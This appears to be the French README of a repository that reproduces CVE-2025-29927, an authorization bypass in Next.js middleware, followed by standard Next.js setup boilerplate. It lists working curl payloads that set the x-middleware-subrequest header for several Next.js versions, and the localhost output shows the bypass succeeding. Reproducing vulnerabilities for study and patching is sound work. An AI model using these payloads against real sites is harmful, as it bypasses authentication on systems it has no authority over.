
vulnerable-nextjs-14-CVE-2025-29927
Ce dépôt est une reproduction de la vulnérabilité CVE-2025-29927 dans le package next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 fois dans l'en-tête spécial x-middleware-subrequest :curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Les versions 12 et 13 de Next.js utilisaient une convention de nommage différente pour le fichier middleware (_middleware.js), qui a été remplacée par middleware.js dans Next.js 14. Cette vulnérabilité peut être exploitée dans les anciennes versions en utilisant le fichier _middleware.js.
Par exemple, les charges utiles suivantes s'appliqueraient, selon la version de Next.js et votre convention de routage :
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (pour les versions 12.2 de Next.js avec le fichier middleware.js à la racine de l'application, pas dans le répertoire pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (pour les versions 11 jusqu'à 12.2 de Next.js)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloTout d'abord, lancez le serveur de développement :
npm run dev
# ou
yarn dev
# ou
pnpm dev
# ou
bun dev
Ouvrez http://localhost:3000 avec votre navigateur pour voir le résultat.
Vous pouvez commencer à modifier la page en éditant app/page.js. La page se met à jour automatiquement lorsque vous modifiez le fichier.
Ce projet utilise next/font pour optimiser et charger automatiquement Geist, une nouvelle famille de polices pour Vercel.
Pour en savoir plus sur Next.js, consultez les ressources suivantes :
Vous pouvez consulter le dépôt GitHub de Next.js - vos retours et contributions sont les bienvenus !
Le moyen le plus simple de déployer votre application Next.js est d'utiliser la plateforme Vercel créée par les développeurs de Next.js.
Consultez notre documentation sur le déploiement Next.js pour plus de détails.